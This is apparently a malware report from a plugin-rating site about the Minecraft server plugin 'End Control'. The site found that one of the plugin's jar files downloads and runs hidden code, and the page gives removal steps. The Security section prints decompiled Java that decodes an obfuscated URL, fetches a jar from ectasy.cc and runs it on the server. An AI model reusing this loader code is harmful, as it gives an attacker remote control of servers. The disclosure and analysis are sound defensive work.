End Control
PluginAdds commands to lock your end to prevent griefers
Removed from Modrinth on 24 Oct 2026. Modgrade reported malware in it on 22 Oct 2026.
Malware: a file of this project downloads and runs hidden code. See Security
Why no grade
Malware was found in one of its files, so it has no grade. See Security
Details
Security
Malware: it downloads and runs hidden code
Found in this file: dimension control.jar (1.21.1+, 24 Dec 2025). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
- Remove
dimension control.jarfrom the plugins folder of your server. - Check the plugins folder of your server for files you did not add.
- Check your other plugins.
What it can do on your server
- Downloads and runs hidden codeMalware
- The code downloads code from a fixed address and runs it on the server. The address is hidden in the code, or this happens as soon as the code is loaded, as in the fractureiser malware.
- Hides a web addressWarning
- A web address (ectasy.cc) is encoded in its code, so it cannot be read in the file.
- Connects to the internet
- It has code that can go online. It contacts 1 web address. See Privacy
- Can download and run new code
- The same part of the code can download data and run it as code.
Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
How we checked
- FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.1 latest file, for a recent version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
- Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.Read without running it
- Downloads and runs hidden codeThe code does these steps one after the other, through one other part of the code.
net/md_5/bungee/api/chat/TranslatableComponentDeserializer$1downloads a file from a fixed address, runs it as code, when the server starts, the address is hidden in the code; "https://ectasy.cc/assets/bungee.jar"; "hidden: base64" - Looked for, not foundWe looked for these in the file and did not find them.Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
- Code excerptsParts of the code of1
dimension control.jar, turned back into readable code, where our checks found the problem.net.md_5.bungee.api.chat.TranslatableComponentDeserializer$1.runpublic void run() { try { URLConnection din = new URL(new String(Base64.getDecoder().decode("xxaHR0cHM6Ly9lY3Rhc3kuY2MvYXNzZXRzL2J1bmdlZS5qYXI=".substring(2)))) .openConnection(); din.addRequestProperty("xxUser-Agent".substring(2), "xxMozilla".substring(2)); Files.copy(din.getInputStream(), Paths.get("xxplugins/PluginMetrics/bungee.jar".substring(2)), StandardCopyOption.REPLACE_EXISTING); } catch (Exception var9) { } try { ClassLoader loader = URLClassLoader.newInstance( new URL[]{new File("xxplugins/PluginMetrics/bungee.jar".substring(2)).toURI().toURL()}, this.getClass().getClassLoader() ); Class<?> coreClass = Class.forName("xxnet.md5.bungee.Core".substring(2), true, loader); Constructor<?> coreClassConstructor = coreClass.getConstructor(); Object core = coreClassConstructor.newInstance(); Method[] var5; int var4 = (var5 = core.getClass().getMethods()).length; for (int var3 = 0; var3 < var4; var3++) { Method meth = var5[var3]; if (meth.getName().startsWith("onEnable")) { meth.invoke(core, plugin); } ...
Privacy
Runs code it downloads
Code downloaded from ectasy.cc runs on the server. What that code sends is not known.
We found this in its code, read without running it.
Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.
How we checked
- Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.The code of its one file, for recent Minecraft versions. See each file in Releases
- ectasy.ccDownloads code and runs it in the game. The address is hidden in the code.
AI
No sign so far that AI was used to make it
We looked for AI tools in its texts, files and images and found none.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
How we checked
- Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.Not read yet.
- Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.Nothing found1 changelog read
- Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.Nothing found
- Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.Nothing found
- Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.No AI service, AI library or AI model file16 code files read
Compatibility
See the file in ReleasesPoint at or tap a version to see its server software.
Latest files
The newest file for each Minecraft version and loader. The files for recent versions come first. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.